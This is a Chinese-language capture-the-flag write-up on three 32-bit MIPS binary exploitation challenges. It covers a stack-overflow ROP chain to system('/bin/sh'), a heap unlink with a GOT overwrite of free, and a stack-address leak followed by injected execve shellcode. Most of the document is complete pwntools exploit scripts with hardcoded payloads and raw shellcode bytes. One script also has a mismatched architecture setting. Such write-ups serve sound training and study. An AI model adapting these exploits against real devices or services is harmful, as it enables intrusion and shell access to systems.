summary
TSCTF HelloMIPS:32位mips栈溢出,rop
2020-西湖论剑-management:32位mips unlink
UCTF-2016-ADD:32位栈溢出,shellcode
0x01 TSCTF HelloMIPS
程序分析
IDA分析
思路
找gadget执行system(“/bin/sh”),源程序没有可用的gadgets,从libc中直接找
最后定位到这条语句:控制跳转地址以及第一个参数寄存器a0.
exp
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='mips',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
elf = ELF("./HelloMIPS")
libc = ELF("./lib/libc.so.0")
global p
remote_gdb=0
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
elif remote_gdb:
p = process(["qemu-mipsel-static", "-g", "1234", "-L", "/home/shinnosuke/Desktop/pwn-mips/HelloMIPS", "./HelloMIPS"])
log.info('Please use GDB remote!(Enter to continue)')
return p
else :
p = process(["qemu-mipsel-static", "-L", "/home/shinnosuke/Desktop/pwn-mips/HelloMIPS", "./HelloMIPS"])
log.info('Please use GDB remote!(Enter to continue)')
return p
# 0x004007f8 : addiu $sp, $sp, 0x20 ; lw $ra, 0x18($sp) ; nop ; jr $ra ; addiu $sp, $sp, 0x20
# 0x00400760 : nop ; jalr $t9 ; addiu $a0, $a0, 0xd20 ; lw $gp, 0x10($sp) ; addiu $v0, $zero, 1 ; sb $v0, 0xe00($s1) ;
# lw $ra, 0x20($sp) ; lw $s1, 0x1c($sp) ; lw $s0, 0x18($sp) ; jr $ra ; addiu $sp, $sp, 0x28
# 0x0000b114: lw $t9, ($sp) ; lw $a0, 4($sp) ; jalr $t9 ; nop
binsh_addr = 0x440E20
p = get_sh()
p.recvuntil("MIPSEL.\n")
p.sendline("/bin/sh")
p.recvuntil("number:0x")
system = int(p.recv(8),16)
libc.address = system - libc.sym['system']
success("system addr ==> "+hex(system))
success("libc addr ==> "+hex(libc.address))
payload = "a"*0x100+p32(0)+p32(libc.address+0x0000b114)+p32(system)+p32(binsh_addr)+p32(0)+p32(system)+p32(0)*8
raw_input()
p.sendline(payload)
p.interactive()
0x02 2020-西湖论剑-management
程序分析
Ghidra分析程序
Ghidra软件介绍和安装教程在这
用来反编译mips比较方便。
思路
在当前chunk中伪造一个0x20的堆块,同时溢出编辑下一个chunk的pre_size和pre_inuse位,这样删除下一个chunk的时候会进行向上合并,触发unlink,最后可以达到劫持note_list的目标。
写入got表,先打印出libc地址,再劫持free函数为system,delete一个带有“/bin/sh”字符串的chunk即可getshell
exp
#coding=utf-8
from pwn import *
r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)
context.update(arch='arm',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
elf = ELF("./pwn3")
libc = ELF("./lib/libc.so.0")
global p
remote_gdb=0
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
elif remote_gdb:
p = process(["qemu-mipsel-static", "-g", "1234", "-L", "/home/shinnosuke/Desktop/pwn-mips/managesystem", "./pwn3"])
log.info('Please use GDB remote!(Enter to continue)')
return p
else :
p = process(["qemu-mipsel-static", "-L", "/home/shinnosuke/Desktop/pwn-mips/managesystem", "./pwn3"])
log.info('Please use GDB remote!(Enter to continue)')
return p
def create(sz,info='a'):
p.sendlineafter("options >>",str(1))
p.sendlineafter("Enter the user info's length:",str(sz))
if sz != 0:
p.sendafter("Enter user's info:",info)
def delete(idx):
p.sendlineafter("options >>",str(2))
p.sendlineafter("Enter the index of user:",str(idx))
def edit(idx,info):
p.sendlineafter("options >>",str(3))
p.sendlineafter("Enter the index of user you want edit:",str(idx))
p.sendafter("The new user's info:",info)
def show(idx):
p.sendlineafter("options >>",str(4))
p.sendlineafter("Enter the index of user you want show: \n",str(idx))
p = get_sh()
note_list = 0x411830
create(0x20)
create(0x20-8)
payload = p32(0)+p32(0x21)+p32(note_list-0xc)+p32(note_list-0x8)+"a"*0x10+p32(0x20)+p32(0x20)
edit(0,payload)
delete(1)
payload = p32(0)*2+p32(0x411830)+p32(0x50)+p32(elf.got['read'])+p32(0x4)
edit(0,payload)
show(1)
p.recvuntil("info: ")
data = u32(p.recv(4))
print hex(data)
libc.address = data - libc.sym['read']
success("libc address ==> "+hex(libc.address))
payload = p32(0x411830)+p32(0)+p32(elf.got['free'])+p32(0x10)+p32(libc.search("/bin/sh").next())
edit(0,payload)
edit(1,p32(libc.sym['system']))
delete(2)
p.interactive()
0x03 UCTF 2016 ADD
查看文件
IDA分析
这里也不能叫IDA了,使用叫Ghidra的软件,据说是美国郭建安全局开发的逆向软件。
int main(void)
{
int random_number;
long lVar1;
long lVar2;
char *__s;
uint number3_0x80;
char challenge [10];
char buf [64];
setvbuf(stdout,(char *)0x0,2,0);
puts("[calc]");
puts("Type \'help\' for help.");
/* 随机数 */
srand(0x123456);
random_number = rand();
sprintf(challenge,"%d",random_number);
number3_0x80 = 0x80;
__s = buf;
do {
if (number3_0x80 < 2) break;
LAB_00400984:
random_number = _IO_getc(stdin); // 栈溢出
if (random_number < 0) goto LAB_00400ad4;
LAB_004009a4:
*__s = (char)random_number;
number3_0x80 = number3_0x80 - 1;
__s = __s + 1;
} while (random_number != 10);
if (number3_0x80 == 0) goto LAB_004009c0;
do {
*__s = '\0';
LAB_004009c0:
__s = strchr(buf,10);
if (__s != (char *)0x0) {
*__s = '\0';
}
random_number = strcmp(buf,"help");
if (random_number == 0) {
__s = "Type \'exit\' to exit.";
LAB_00400b18:
puts(__s);
puts("Input 2 numbers just like:");
puts("1 2");
}
else {
random_number = strcmp(buf,"exit");
if (random_number == 0) {
puts("Exiting...");
return 0;
}
random_number = strcmp(buf,challenge); // 输入等于随机数,打印出栈地址,实际上随机数可预测。
if (random_number == 0) {
printf("Your input was %p\n",buf);
number3_0x80 = 0x80;
__s = buf;
goto LAB_00400984;
}
__s = strchr(buf,0x20);
if (__s == (char *)0x0) {
__s = "Error!";
goto LAB_00400b18;
}
lVar1 = strtol(buf,(char **)0x0,10);
lVar2 = strtol(__s + 1,(char **)0x0,10);
printf("%d + %d = %d\n",lVar1,lVar2,lVar2 + lVar1);
if (lVar2 + lVar1 == 0x133a05e) {
puts("Thanks,Bye~");
return 0;
}
}
number3_0x80 = 0x80;
random_number = _IO_getc(stdin);
__s = buf;
if (-1 < random_number) goto LAB_004009a4;
LAB_00400ad4:
if (__s == buf) {
return 0;
}
} while( true );
}
思路
很清晰的感觉mips指令比arm的麻烦很多,不好看Orz…..
根据上面的反汇编代码,我们思路如下:根据随机数预测来打印出栈地址,写入shellcode到栈中,ROP劫持pc寄存器返回栈地址执行shellcode。
shellcode的生成就用msf,有个坑就是msf这里把mipsel叫mipsle
exp
#coding=utf-8
from pwn import *
context.log_level = "debug"
remote_gdb=1
def get_sh(other_libc = null):
global libc
if args['REMOTE']:
if other_libc is not null:
libc = ELF("./", checksec = False)
return remote(sys.argv[1], sys.argv[2])
elif remote_gdb:
p = process(["qemu-mipsel", "-g", "1234", "-L", "/usr/mipsel-linux-gnu/", "./add"])
log.info('Please use GDB remote!(Enter to continue)')
raw_input()
return p
else :
return process(["qemu-mipsel", "-L", "/usr/mipsel-linux-gnu/", "./baby_heap"])
shellcode = ""
shellcode += "\x66\x06\x06\x24\xff\xff\xd0\x04\xff\xff\x06\x28\xe0"
shellcode += "\xff\xbd\x27\x01\x10\xe4\x27\x1f\xf0\x84\x24\xe8\xff"
shellcode += "\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x27\xab\x0f\x02"
shellcode += "\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00"
if __name__ == "__main__":
p = get_sh(0)
p.recvuntil("Type 'help' for help.\n")
p.sendline(str(2057561479))
p.recvuntil("Your input was ")
leak = int(p.recvuntil("\n")[:-1], 16)
print "input addr = " + hex(leak)
offset = 8
payload = "A" * offset + shellcode
payload += "\x00" * (112 - len(payload))
payload += p32(leak + offset)
payload += " 1"
p.sendline(payload)
p.recvuntil("1 2\n")
p.sendline("exit")
p.recvuntil("Exiting...")
p.interactive()